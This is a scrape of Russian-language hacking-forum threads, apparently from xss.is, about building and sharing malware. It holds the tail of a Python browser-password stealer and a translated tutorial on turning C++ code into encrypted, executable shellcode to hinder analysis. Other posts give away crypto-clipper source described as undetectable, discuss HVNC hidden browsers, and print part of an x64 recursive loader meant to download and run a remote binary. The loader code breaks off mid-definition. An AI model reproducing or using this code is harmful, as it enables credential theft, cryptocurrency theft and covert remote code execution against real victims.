        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_pass = cipher.decrypt(payload)
        return decrypted_pass
    except Exception as e:
        return f"Error _decrypt: {e}"

passwords()

Или думаете о том хуле мне не спится? ЗЫ: Кхорну нужно больше хаоса!
ЗЫ2: даже мелкашная ошибка в коде у меня будет незаметна в рантайме, если заинтересовались то перепроверьте пожалуйста х#йню же пишу

Rust - курсы, книги
ID: 6765d804b4103b69df375868
Thread ID: 47892
Created: 2021-02-10T16:23:04+0000
Last Post: 2022-11-15T11:52:00+0000
Author: Pernat1y
Prefix: Мануал/Книга
Replies: 36 Views: 5K

Подборка курсов, книг и прочего обучающего материала по Rust.

Practical System programming for Rust developers / Практическое системное программирование для разработчиков на Rust
pic

Год издания: 2020

Автор: Eshwarla Prabhu / Эшварла Прабху
Издательство: Packt
ISBN: 9781800560963
Язык: Английский
Формат: PDF/epub
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Да
Количество страниц: 388

Mastering Rust. Second Edition
pic

Год издания: 2018

Автор: Rahul Sharma, Vesa Kaihlavirta
Жанр или тематика: Компьютерная литература
Издательство: PACKT
ISBN: 978-1-78934-657-2
Язык: Английский
Формат: PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Нет
Количество страниц: 544

Hands-On Data Structures and Algorithms with Rust
pic

Год издания: 2019

Автор: Claus Matzinger
Жанр или тематика: Компьютерная литература
Издательство: PACKT
ISBN: 978-1-78899-552-8
Язык: Английский
Формат: PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Нет
Количество страниц: 316

Rust Standard Library Cookbook / Стандартная библиотека Rust
pic

Год издания: March 2018

Автор: Jan Nils Ferner, Daniel Durante
Жанр или тематика: Программирование
Издательство: Packt Publishing
ISBN: 9781788623926
Язык: Английский
Страниц: 329
Формат: EPUB/MOBI/PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Нет

Rust High Performance / Высокая производительность в Rust
pic

Год издания: March 2018

Автор: Iban Eguia Moraza
Жанр или тематика: Программирование
Издательство: packpub
ISBN: 9781788399487
Язык: Английский
Формат: EPUB/MOBI/PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Нет
Количество страниц: 272

Hands-On Concurrency with Rust / Практический параллелизм на Rust
pic

Год издания: 2018

Автор: Brian L. Troutwine
Жанр или тематика: Программирование
Издательство: packtpub
ISBN: 9781788399975
Язык: Английский
Формат: EPUB/MOBI/PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Нет
Количество страниц: 462

Hands On Functional Programming in Rust / Функциональное программирование на Rust
pic

Год издания: May 2018

Автор: Andrew Johnson
Жанр или тематика: Программирование
Издательство: packtpub
ISBN: 9781788839358
Язык: Английский
Формат: EPUB/MOBI/PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Да
Количество страниц: 249

Network Programming with Rust / Сетевое программирование с помощью Rust
pic

Год издания: February 2018

Автор: Abhishek Chanda
Жанр или тематика: Программирование
Издательство: packtpub
ISBN: 9781788624893
Язык: Английский
Формат: EPUB/PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Да
Количество страниц: 278

Programming Rust
pic

Год издания: 2018

Автор: Blandy J., Orendorff J.
Издательство: O'Reilly Media
ISBN: 978-1-491-92728-1
Язык: Английский
Формат: PDF
Качество: Издательский макет или текст (eBook)
Интерактивное оглавление: Да
Количество страниц: 622

Rust Essentials
pic

Год издания: 2015

Автор: Ivo Balbaert
Издательство: Packt Publishing
ISBN: 9781785285769
Язык: Английский
Формат: ePub
Качество: Изначально компьютерное (eBook)
Интерактивное оглавление: Да
Количество страниц: 205

Всё взято с рутрекера.

Hidden content for authorized users.

Скачать: http://vtl3h5fnbhgwqv7zdeo6pfyjiwhvrbdif74wtccnsn5aaggfkdl4poqd.onion/rust/

Какой самый лучший обфукатор для c++
ID: 6765d804b4103b69df3758b2
Thread ID: 41130
Created: 2020-08-20T19:09:47+0000
Last Post: 2022-06-30T23:34:17+0000
Author: RewizDox
Replies: 31 Views: 5K

Который невозможно снять

Чем плох c# для написания малвари?
ID: 6765d804b4103b69df3758e2
Thread ID: 61306
Created: 2022-01-13T09:37:39+0000
Last Post: 2022-03-19T14:26:54+0000
Author: BaDRabbiT404
Replies: 57 Views: 5K

Всем привет! Спорили с другом о том, какой ЯП лучше подходит для написания малвари. Я пытался убедить, что это си, но он был непреклонен. В общем то, все мои аргументы по типу "зависимости от .NET", он парировал. Так чем c# плох?

Создание шелл-кода из любого кода с помощью Visual Studio и C++
ID: 6765d804b4103b69df375938
Thread ID: 52870
Created: 2021-06-12T17:16:08+0000
Last Post: 2021-12-01T20:31:26+0000
Author: Artem N
Prefix: Статья
Replies: 13 Views: 5K

Узнайте, как преобразовать любой код в стабильный шелл-код с помощью Visual Studio 2019 и C++ в простых шагах!

В этой статье мы будем использовать Visual Studio 2019 и C++ для создания независимого машинного 64-битного кода, который можно использовать в качестве шелл-кода, Эта операция требует особых навыков, но после прочтения статьи вы сможете очень легко создать свой шелл-код...

Введение

Шелл-код - одна из самых популярных методик в атаках и взломах, посмотрим что о нём говорится в Wikipedia:

Шелл-код обычно внедряется в память эксплуатируемой программы, после чего на него передается управление путём переполнения стека, или при переполнении буфера в куче, или используя атаки форматной строки. Передача управления шелл-коду осуществляется перезаписью адреса возврата в стеке адресом внедрённого шелл-кода, перезаписью адресов вызываемых функций или изменением обработчиков прерываний. Результатом этого является выполнение шелл-кода, который открывает командную строку для использования взломщиком.

Click to expand...

Итак. Всё это очень правильно, но я понимаю шелл-код как кусок кода, который может быть выделен и выполнен динамически - без зависимостей от API операционной системы или рантайма. Могу быть не прав, но это лучшее определение того, что мы сейчас будем делать, поэтому...
Начнём!

Предисловие

Причины, по которым я взялся за всё это:
1. Прокачать свои знания в программировании и в понимании как работает компьютер;
2. Улучшить безопасность моих программ и игр;
3. Это чертовски весело!

Важное замечание! Всё это можно использовать в плохих целях, но как вы знаете... Это меч! Защитить или навредить... решать вам!

Используя эту технику, вы сможете преобразовать критические и важные участки вашего кода (такие, как проверка лицензии) в шелл-код и зашифровать его в вашем приложении. Когда вам нужно проверить лицензию, вы просто расшифровываете код в куче, выполняете его. После проверки - освобождаете память... это осложняет отладку и не позволяет выполнить статический анализ приложения.

Подготовка проекта и окружения

1. Необходимые инструменты и программы
- Visual Studio 2019
- VC++ Build Tools
- CFF Explorer (PE Viewer/Editor)
- HxD (Hex Editor)

2. Создаём пустые проекты
1. Запускаем Visual Studio 2019
2. Создаём два проекта C++
3. С именами code_gen и code_tester
4. В свойствах конфигурации проекта code_gen установите Тип конфигурации: "Динамическая библиотека (.dll) "
5. Для code_tester - "Приложение (.exe) "
6. Установите для обоих проектов Конфигурацию Release и Платформу x64.

3. Настройка DLL, независимой от API
В данный момент проект code_gen имеет зависимость стандартной библиотеки C++. Выполните следующие шаги, чтобы сделать его полностью независимым.

1 Добавьте cpp -файл (не с -файл) в проект code_gen и напишите следующий код:

C:Copy to clipboard

extern "C" bool _code()
{
    return true;
}

2 В свойствах проекта code_gen настройте следующие опции:
- Дополнительно > Использовать отладочные библиотеки: Нет
- Дополнительно > Оптимизация всей программы: Без оптимизации всей программы
- C/C++ > Общие > Формат отладочной информации: Нет
- C/C++ > Общие > Проверка SDL: Нет (/sdl-)
- C/C++ > Создание кода > Включить C++ исключения: Нет
- C/C++ > Создание кода > Библиотека времени выполнения: Многопоточная (/MT)
- C/C++ > Создание кода > Проверка безопасности: Отключить проверку безопасности (/GS-)
- C/C++ > Язык > Режим совместимости: Нет (/permissive)
- C/C++ > Язык > Стандарт языка C++: Стандарт ISO C++17 (/std:c++17)
- Компоновщик > Ввод > Дополнительные зависимости: Пусто
- Компоновщик > Ввод > Игнорировать все стандартные библиотеки: Да (/NODEFAULTLIB)
- Компоновщик > Отладка > Создавать отладочную информацию: Нет
- Компоновщик > Отладка > Создавать файл сопоставления: Да (/MAP)
- Компоновщик > Система > Подсистема: Машинный код (/SUBSYSTEM:NATIVE)
- Компоновщик > Оптимизация > Ссылки: Нет (/OPT:NOREF)
- Компоновщик > Дополнительно > Точка входа: _code
- Компоновщик > Дополнительно > Без точки входа: Да (/NOENTRY)

Замечание: изменяя точку входа на _code, мы предотвращаем создание DLL, содержащей только ресурсы, так же компоновщик не будет использовать стандартный main/DllMain в качестве точки входа.

Click to expand...

4. Настройка текстового приложения
Приложение не требует какой-то специфичной настройки, сейчас наше внимание сосредоточено на написании кода, модификации и последующем запуске.
Добавьте main.cpp в проект code_tester и напишите там следующий код:

C++:Copy to clipboard

// main.cpp

#include <windows.h>
#include <iostream>

using namespace std;

int main()
{
    return EXIT_SUCCESS;
}

Итак, всё готово!

Обычный метод

Давайте начнём с чего-то небольшого и простого, используя только математику, изменим функцию _code на указанную:

C++:Copy to clipboard

extern "C" int _code(int x, int y)
{
    return x * y + (x + y);
}

Сейчас компилируем и в результате вы должны получить DLL-файл, если же нет... проверьте все пункты выше и убедитесь, что всё сделано без ошибок, что конфигурация корректна.

img01.png

Нам нужны только два файла: .dll и .map. В dll находится исполняемый код, а map-файл содержит информацию об адресах, используемых компоновщиком, но наиболее важное его содержимое - это виртуальные адреса и смещения кода, на которые наш код отображается.

1. Открываем файл code_gen.dll в CFF Explorer.

img02.png

Как можно заметить, у нашей DLL нет таблица адресов Импорта/Экспорта (IAT/EAT) и только три секции, последние две из них не нужны: одна содержит данные для отладки, вторая - ресурсы, такие как информация о версии файла. Код, который мы ищем, находится в секции .text.
И единственная информация, которая нам нужна в этой секции - Virtual Address и Raw Address.

2. Откройте code_gen.dll в HxD или любом другом шестнадцатеричном редакторе, нажмите Ctrl+G или выберите Search->Goto... и введите Raw Address... Это тот самый код, который мы ищем! Довольно просто, не так ли?

img03.png

Опкод 0xC3 - это инструкция RETN , которая указывает нам на конец нашей функции, все прочие нулевые байты не нужны.

3. Выделите их, скопируйте через меню Edit->Copy as->C и вставьте в main.cpp.
Код должен выглядеть следующим образом:

C++:Copy to clipboard

#include <windows.h>
#include <iostream>

using namespace std;

unsigned char _code_raw[9] = { 0x8D, 0x42, 0x01, 0x0F, 0xAF, 0xC1, 0x03, 0xC2, 0xC3 };

int main()
{
    return EXIT_SUCCESS;
}

4. Сейчас мы должны создать прототип нашей функции, добавьте этот код в глобальной области видимости:

C:Copy to clipboard

typedef int(*_code_t)(int, int);

5. Пришло время установить на данные флаг выполнения, чтобы процессор мог выполнить наш код, добавьте следующее в функцию main:

C++:Copy to clipboard

DWORD old_flag;
VirtualProtect(_code_raw, sizeof _code_raw, PAGE_EXECUTE_READWRITE, &old_flag);

6. И последний шаг, чтобы выполнение происходило проще, добавьте этот код до возврата из функции:

C++:Copy to clipboard

_code_t fn_code = (_code_t)(void*)_code_raw;
int x = 500; int y = 1200;
printf("Result of function : %d\n", fn_code(x, y));

7. Скомпилируйте code_tester и запустите его, бац! Это работает! Результат должен выглядеть так:

Result of function : 601700

Click to expand...

Что ж, это был очень простой способ без аллокаций памяти, какого-либо шифрования/дешифрования или сжатия/распаковки. Но всё же достаточно хороший, чтобы появилось понимание что здесь происходит.
Теперь... перейдём на следующий уровень!

Продвинутый метод

Выше у нас был простой код, но когда он станет более сложным (сжатие, шифрование, проверка лицензии и т.п.), то будет уже не так просто получить смещение по любому адресу в двоичном коде. Поэтому нам нужен map-файл.
Также, мы не использовали библиотеку времени исполнения и WinAPI. Но в программах все это нужно всегда. Этот момент мы обсудим во второй части статьи.
В этой части статьи мы создадим два шелл-кода: один для шифрования буфера, а второй для дешифрования буфера.

1. Склонируйте репозиторий tiny_aes_c к себе, скопируйте оттуда только aes.c и aes.h в свой проект code_gen.
2. Измените code.cpp следующим образом:

C++:Copy to clipboard

// code.cpp
extern "C"
{
    #include "aes.h"

    bool _encrypt(void* data, size_t size)
    {
        // Encryption Code Area //
        return true;
    }
}

Замечание: можно не использовать extern "C", если измените имя файла code.cpp на code.c , но в дальнейшем вы не сможете использовать ни одну функцию C++. В любом случае, большинство библиотек C++ основаны на C, и все они совместимы друг с другом.

Click to expand...

tiny-aes-c основан на языке C, и в нём используются лишь некоторые функции среды выполнения C, которые компилятор оптимизирует до чистого машинного кода. Это означает, что наш шелл-код будет оптимизирован компилятором. И это хорошо!

3. Напишите код шифрования следующим образом и не используйте данные на стеке

C++:Copy to clipboard

// code.cpp
extern "C"
{
    #include "aes.h"

    bool _encrypt(void* data, size_t size)
    {
        // Allocate data on heap
        struct AES_ctx ctx;
        unsigned char key[32] = {
        0xBB, 0x17, 0xCA, 0x8C, 0x69, 0x7F, 0xA1, 0x89,
        0x3B, 0xCF, 0xA8, 0x12, 0x34, 0x6F, 0xB6, 0xE8,
        0x79, 0x89, 0xDA, 0xD0, 0x0B, 0xA9, 0xA1, 0x1B,
        0x5B, 0x38, 0xD0, 0x4A, 0x20, 0x4D, 0xB8, 0x0E};
        unsigned char iv[16] = {
        0xA3, 0xF3, 0xD4, 0xC5, 0x5E, 0xCD, 0x41, 0xA6,
        0x22, 0xC9, 0x8D, 0xE5, 0xA3, 0xBB, 0x29, 0xF1};

        // Initialize encrypt context
        AES_init_ctx_iv(&ctx, key, iv);

        // Encrypt buffer
        AES_CBC_encrypt_buffer(&ctx, (uint8_t*)data, size);
        return true;
    }
}

4. Скомпилируйте и откройте code_gen.dll в CFF Explorer:

img04.png

Как вы видите, появилась секция .rdata , причина её появления - данные из файла tiny-aes-c для массивов sbox и rsbox. Без этих данных код работать не будет.

Ручное объединение двух секций, исправление каждого адреса в коде довольно сложно сделать без ошибок и потребуется очень много времени, но...
Есть одна волшебная директива компилятора, которая нам здесь поможет!
Добавьте следующий код в начало code.cpp :

C++:Copy to clipboard

#pragma comment(linker, "/merge:.rdata=.text")

5. Скомпилируйте и снова откройте code_gen.dll в CFF Explorer:

img05.png

Бум! Исправлено, сейчас наш код расположен за данными, которые ему нужны.

img06.png

6. Откройте code_gen.dll в HxD или любом другом шестнадцатеричном редакторе, нажмите Ctrl+G или выберите Search->Goto... и выберите секцию .text. Нажмите Ctrl+E или выберите Edit->Select Block, введите реальный размер секции .text. Скопируйте буфер как Си-массив и вставьте его в новый заголовочный файл проекта code_tester как shellcode_encrypter_raw.h. Имя массива должно совпадать с именем файла.

Замечание: чтобы облегчить извлечение кода, вы можете прямо в CFF Explorer щёлкнуть правую кнопку мышки на секции и выбрать пункт Dump section. Но иногда размер секции больше ожидаемого, поэтому ручной способ предпочтительней.

Click to expand...

7. Измените в проекте code_tester файл main.cpp следующим образом:

C++:Copy to clipboard

// main.cpp
#include <windows.h>
#include <stdio.h>
#include <fstream>
#include <vector>
#include "shellcode_encrypter_raw.h"

using namespace std;
typedef bool(*_encrypt)(void*, size_t);

#define ENC_SC_RAW shellcode_encrypter_raw
#define FUNCTION_OFFSET 0

int main(int argc, char* argv[])
{
    // Check for commands count
    if (argc != 4) return EXIT_FAILURE;

    // Get commands values
    char* input_file   = argv[1];
    char* process_mode = argv[2];
    char* output_file  = argv[3];

    // Change code protection
    DWORD old_flag;
    VirtualProtect(ENC_SC_RAW, sizeof ENC_SC_RAW, PAGE_EXECUTE_READWRITE, &old_flag);

    // Declaring encrypt function
    _encrypt encrypt = (_encrypt)(void*)&ENC_SC_RAW[FUNCTION_OFFSET];

    // Read input file to vector buffer
    ifstream input_file_reader(argv[1], ios::binary);
    vector<uint8_t> input_file_buffer(istreambuf_iterator<char>(input_file_reader), {});

    // Add padding to input file data
    for (size_t i = 0; i < 16; i++)
         input_file_buffer.insert(input_file_buffer.begin(), 0x0);
    for (size_t i = 0; i < 16; i++) input_file_buffer.push_back(0x0);

    // Encrypting file buffer
    if (strcmp(process_mode, "-e") == 0) encrypt(input_file_buffer.data(),
                                         input_file_buffer.size());

    // Save encrypted buffer to output file
    fstream file_writter;
    file_writter.open(output_file, ios::binary | ios::out);
    file_writter.write((char*)input_file_buffer.data(), input_file_buffer.size());
    file_writter.close();

    // Code successfully executed
    printf("OK"); return EXIT_SUCCESS;
}

8. OK, следующий шаг - найти смещение функции _encrypt в шелл-коде. Откройте code_gen.map в текстовом редакторе (я использую Notepad++).

9. Ищем _encrypt и должны найти эту строчку:

0001:000012c0 _encrypt 00000001800022C0 f code.obj

Click to expand...

Мы узнали относительный виртуальный адрес нашей функции (0x22C0), но нам нужен фактический адрес.

10. Вернёмся в CFF Explorer и найдём там виртуальный адрес секции .text , который равен 0x1000. Всё что нам остаётся сделать - вычесть один из другого и получить в результате 0x12C0. Это и есть искомое смещение. Обновим наш код:

C++:Copy to clipboard

#define FUNCTION_OFFSET 0x12C0

11. Скомпилируйте и проверьте его с помощью командной строки:

code_tester.exe some_image.jpg -e some_image_encrypted.jpg

Click to expand...

[ЯДЕРНЫЙ ВЗРЫВ!]

Результат выполнения - OK. Это означает, что полученный файл полностью зашифрован алгоритмом AES-256!

12. Итак, чтобы сгенерировать шелл-код дешифратора, выполните точно эти шаги, за исключением:
- Используйте AES_CBC_decrypt_buffer вместо AES_CBC_encrypt_buffer;
- Измените прототип функции следующим образом:

C++:Copy to clipboard

typedef bool(*_crypt)(void*, size_t);

Вот как должен выглядеть код в main.cpp :

C++:Copy to clipboard

// main.cpp
#include <windows.h>
#include <stdio.h>
#include <fstream>
#include <vector>
#include "shellcode_encrypter_raw.h"
#include "shellcode_decrypter_raw.h"

using namespace std;
typedef bool(*_crypt)(void*, size_t);

#define ENC_SC_RAW shellcode_encrypter_raw
#define DEC_SC_RAW shellcode_decrypter_raw
#define FUNCTION_OFFSET 0x12C0

int main(int argc, char* argv[])
{
    // Check for commands count
    if (argc != 4) return EXIT_FAILURE;

    // Get commands values
    char* input_file   = argv[1];
    char* process_mode = argv[2];
    char* output_file  = argv[3];

    // Validate process mode
    if (strcmp(process_mode, "-e") != 0 &&
        strcmp(process_mode, "-d") != 0) return EXIT_FAILURE;

    // Change code protection
    DWORD old_flag;
    VirtualProtect(ENC_SC_RAW, sizeof ENC_SC_RAW, PAGE_EXECUTE_READWRITE, &old_flag);
    VirtualProtect(DEC_SC_RAW, sizeof DEC_SC_RAW, PAGE_EXECUTE_READWRITE, &old_flag);

    // Declaring encrypt function
    _crypt encrypt = (_crypt)(void*)&ENC_SC_RAW[FUNCTION_OFFSET];
    _crypt decrypt = (_crypt)(void*)&DEC_SC_RAW[FUNCTION_OFFSET];

    // Read input file to vector buffer
    ifstream input_file_reader(argv[1], ios::binary);
    vector<uint8_t> input_file_buffer(istreambuf_iterator<char>(input_file_reader), {});

    // Add padding to input file data
    if(strcmp(process_mode, "-d") == 0) goto SKIP_PADDING;
    for (size_t i = 0; i < 16; i++)
         input_file_buffer.insert(input_file_buffer.begin(), 0x0);
    for (size_t i = 0; i < 16; i++) input_file_buffer.push_back(0x0);

    // Encrypting/Decrypting file buffer
    SKIP_PADDING:
    if (strcmp(process_mode, "-e") == 0) encrypt(input_file_buffer.data(),
                                                 input_file_buffer.size());
    if (strcmp(process_mode, "-d") == 0) decrypt(input_file_buffer.data(),
                                                 input_file_buffer.size());

    // Save encrypted buffer to output file
    fstream file_writter;
    file_writter.open(output_file, ios::binary | ios::out);
    if (strcmp(process_mode, "-e") == 0)
        file_writter.write((char*)input_file_buffer.data(), input_file_buffer.size());
    if (strcmp(process_mode, "-d") == 0)
        file_writter.write((char*)&input_file_buffer[16],
                            input_file_buffer.size() - 32);
    file_writter.close();

    // Code successfully executed
    printf("OK"); return EXIT_SUCCESS;
}

13. Скомпилируйте и проверьте его с помощью командной строки:

code_tester.exe some_image_encrypted.jpg -d some_image_decrypted.jpg

Click to expand...

Вот и всё! Теперь у вас есть два небольших шелл-кода, которые выполняют шифрование/дешифрование!
После использования код можно затереть. Также, вы можете паковать/шифровать его разными ключами, распаковывая/расшифровывая лишь по мере необходимости.

Заключение

Это конец первой части. Во второй части мы создадим EXE/DLL упаковщика/протектора с нуля, используя только C++ тем же способом, но с намного более сложными вещами, такими как resolving, обфускация, перенаправления вызовов и т.д.
Надеюсь, вам понравилась эта статья. Не стесняйтесь задавать свои вопросы в комментариях. Следите за обновлениями!

---
Автор статьи - The Ænema. Оригинал тут - <https://www.codeproject.com/Articles/5304605/Creating-Shellcode-from-any- Code-Using-Visual-Stud>
Переведено специально для xss.is.

Мой первый перевод в жизни, буду благодарен за указание неточностей (в личку). Жду вторую часть, постараюсь и её перевести. Всем новых знаний!

Файлы и Сишник (C/C++)
ID: 6765d804b4103b69df375bac
Thread ID: 5431
Created: 2005-11-03T10:16:02+0000
Last Post: 2005-11-15T07:57:07+0000
Author: Lamer
Replies: 11 Views: 5K

Господа, мне стало очень интересно: вот Сишник может работать с файлами в двух режимах... записывать туда в виде обычного файла, ну типа текстовый файл, но это мы все знаем. А вот еще у него есть возможность записывать туда побитово... и мне стало очень интересно как же это сделать ??? Если не трудно, могли бы вы мне описать как это делает ??? и Желательно средствами C++, но если знаете как через C, то мона и это кинуть :) буду очень рад :).

А то мне очень захотелось записывать в файл весь объект сразу, а не по одному полю...

Clipper BTC, BCH, ETH, LTC, XMR, FUD Scantime
ID: 6765d804b4103b69df37598f
Thread ID: 50792
Created: 2021-04-19T10:45:08+0000
Last Post: 2021-06-23T01:26:09+0000
Author: Ingiborga
Replies: 21 Views: 5K

Заказывал месяца 4 назад себе, думаю имею право выложить так как заплатил за сурсы и разработку.
Чистый потому что хорошо криптовал, берег.
Перешел на нативный по этому держите, что там в рантайме хз, халява есть халява.

Offline Clipper Source .Net 4.0

После обфускации обычным конфюзером:
Снимок.PNG

Без обфускации, сырой билд:
Снимок.PNG

Пароль на архив:

You must have at least 199 reaction(s) to view the content.

В ЛС не долбите смысла нет, если хайд не видите.

HVNC C#
ID: 6765d804b4103b69df375700
Thread ID: 59259
Created: 2021-11-24T15:41:46+0000
Last Post: 2024-05-16T13:49:09+0000
Author: ioioio777
Replies: 33 Views: 4K

Всех приветствую, данным постом преследую две цели.

  1. Найти решение своей проблемы при написании скриншота скрытого онка.
  2. Проинформировать людей о таком способе реализации скрытого браузера.

Уверен, что для старичков эта схема не будет новой, однако я ни в коем случае не притендую на авторство (статья 2019 года, а сам метод датируется 2004ым?) + этот метод куда уж лучше реализации через CreateDesktop

Далее цитирую самого автора

You must have at least 3 reaction(s) to view the content.

Спустя 3 дня мозгоебки и перебирания множества способов отрисовки... у меня не выходит ничего кроме черного экрана.
Максимальный из результатов - вот (и то, это нельзя считать успешным вариантом, так как это просто последний хендл, оставшийся в оперативной памяти)

Собственно вопрос заключается в этом: Как сделать скриншот MDI формы за областью экрана.

x64 WINAPI Recursive Loader
ID: 6765d804b4103b69df3756b9
Thread ID: 115304
Created: 2024-05-25T03:22:22+0000
Last Post: 2024-09-24T02:53:22+0000
Author: smelly__vx
Replies: 16 Views: 4K

Here is some code that was written about a year for a project for vx- underground. However, due to various reasons, the code is being publicly released.

tl;dr recursive loader, painful to reverse engineer

Explanation of code:
The following code is inspired by APT Linux/Kobalos. Kobalos was malware, suspected to be tied to the Chinese government, which was fully recursive. It was novel malware.

Following this inspiration, an x64 recursive loader was developed for Windows 10 and Windows 11. When compiled the binary has no entries in the IAT. The binary resolves all APIs via NTDLL. Additional libraries are loaded via LdrLoadDll.

The code recursively calls itself to execute functions. It determines which portion of code to execute using a flag (an enum). Each 'function' is encapsulated in a switch statement. All variables are recursively passed using the 'VARIABLE_TABLE' structure. The VARIABLE_TABLE also contains further nested structures for handling API function resolving, initializing COM objects and associated classes, and data structures for some 'switch functions' which may require additional variables for tasks.To avoid the compiler optimizing code and introducing functions into the IAT, some STDIO functionality such as ZeroMemory have been re-written in more unorthodox methods.

HTTPS requests are handled by COM via the WinHttpRequest Object.

The code basically downloads a binary from vx-underground and executes it. Currently the code will not work because the executable hosted on vx- underground for the proof-of-concept is no longer there – although it was just a copy cmd.exe.Code may have some bugs. It can be improved upon by introducing pseudo-polymorphism by 'scrambling' the order of switch statements and enum values on each build.

C:Copy to clipboard

#include <Windows.h>
#include "httprequest.h"
#include <Netlistmgr.h>
#include <Wbemidl.h>

#pragma comment(lib, "wbemuuid.lib")

#pragma comment(linker, "/ENTRY:ApplicationEntryPoint")

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif

#define STATUS_SUCCESS 0

#define AlignProcessParameters(X, Align) (((ULONG)(X)+(Align)-1UL)&(~((Align)-1UL)))
#define OBJ_HANDLE_TAGBITS 0x00000003L
#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003
#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001
#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OVERWRITE_IF 0x00000005
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define FILE_NON_DIRECTORY_FILE   0x00000040
#define FILE_OPEN_IF 0x00000003
#define FILE_OPEN 0x00000001


#define IOCTL_KSEC_RNG CTL_CODE(FILE_DEVICE_KSEC, 1, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define InitializeObjectAttributes(p, n, a, r, s) { \
    (p)->Length = sizeof(OBJECT_ATTRIBUTES); \
    (p)->RootDirectory = r; \
    (p)->Attributes = a; \
    (p)->ObjectName = n; \
    (p)->SecurityDescriptor = s; \
    (p)->SecurityQualityOfService = NULL; \
}


typedef enum _SECTION_INHERIT
{
    ViewShare = 1,
    ViewUnmap = 2

} SECTION_INHERIT;

typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;

typedef struct _LDR_MODULE {
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
    PVOID                   BaseAddress;
    PVOID                   EntryPoint;
    ULONG                   SizeOfImage;
    UNICODE_STRING          FullDllName;
    UNICODE_STRING          BaseDllName;
    ULONG                   Flags;
    SHORT                   LoadCount;
    SHORT                   TlsIndex;
    LIST_ENTRY              HashTableEntry;
    ULONG                   TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;

typedef struct _PEB_LDR_DATA {
    ULONG                   Length;
    ULONG                   Initialized;
    PVOID                   SsHandle;
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR  Buffer;
} ANSI_STRING, * PANSI_STRING;

typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    PVOID Handle;
}CURDIR, * PCURDIR;

typedef struct _RTL_DRIVE_LETTER_CURDIR {
    WORD Flags;
    WORD Length;
    ULONG TimeStamp;
    ANSI_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    PVOID ConsoleHandle;
    ULONG ConsoleFlags;
    PVOID StandardInput;
    PVOID StandardOutput;
    PVOID StandardError;
    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
    ULONG EnvironmentSize;
    PVOID PackageDependencyData;
    ULONG ProcessGroupId;
    ULONG LoaderThreads;
    UNICODE_STRING RedirectionDllName;
    UNICODE_STRING HeapPartitionName;
    ULONGLONG* DefaultThreadpoolCpuSetMasks;
    ULONG DefaultThreadpoolCpuSetMaskCount;
    PVOID Alignment[4];
}RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
    BOOLEAN                 InheritedAddressSpace;
    BOOLEAN                 ReadImageFileExecOptions;
    BOOLEAN                 BeingDebugged;
    BOOLEAN                 Spare;
    HANDLE                  Mutant;
    PVOID                   ImageBase;
    PPEB_LDR_DATA           LoaderData;
    PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
    PVOID                   SubSystemData;
    PVOID                   ProcessHeap;
    PVOID                   FastPebLock;
    PVOID                   FastPebLockRoutine;
    PVOID                   FastPebUnlockRoutine;
    ULONG                   EnvironmentUpdateCount;
    PVOID* KernelCallbackTable;
    PVOID                   EventLogSection;
    PVOID                   EventLog;
    PVOID                   FreeList;
    ULONG                   TlsExpansionCounter;
    PVOID                   TlsBitmap;
    ULONG                   TlsBitmapBits[0x2];
    PVOID                   ReadOnlySharedMemoryBase;
    PVOID                   ReadOnlySharedMemoryHeap;
    PVOID* ReadOnlyStaticServerData;
    PVOID                   AnsiCodePageData;
    PVOID                   OemCodePageData;
    PVOID                   UnicodeCaseTableData;
    ULONG                   NumberOfProcessors;
    ULONG                   NtGlobalFlag;
    BYTE                    Spare2[0x4];
    LARGE_INTEGER           CriticalSectionTimeout;
    ULONG                   HeapSegmentReserve;
    ULONG                   HeapSegmentCommit;
    ULONG                   HeapDeCommitTotalFreeThreshold;
    ULONG                   HeapDeCommitFreeBlockThreshold;
    ULONG                   NumberOfHeaps;
    ULONG                   MaximumNumberOfHeaps;
    PVOID** ProcessHeaps;
    PVOID                   GdiSharedHandleTable;
    PVOID                   ProcessStarterHelper;
    PVOID                   GdiDCAttributeList;
    PVOID                   LoaderLock;
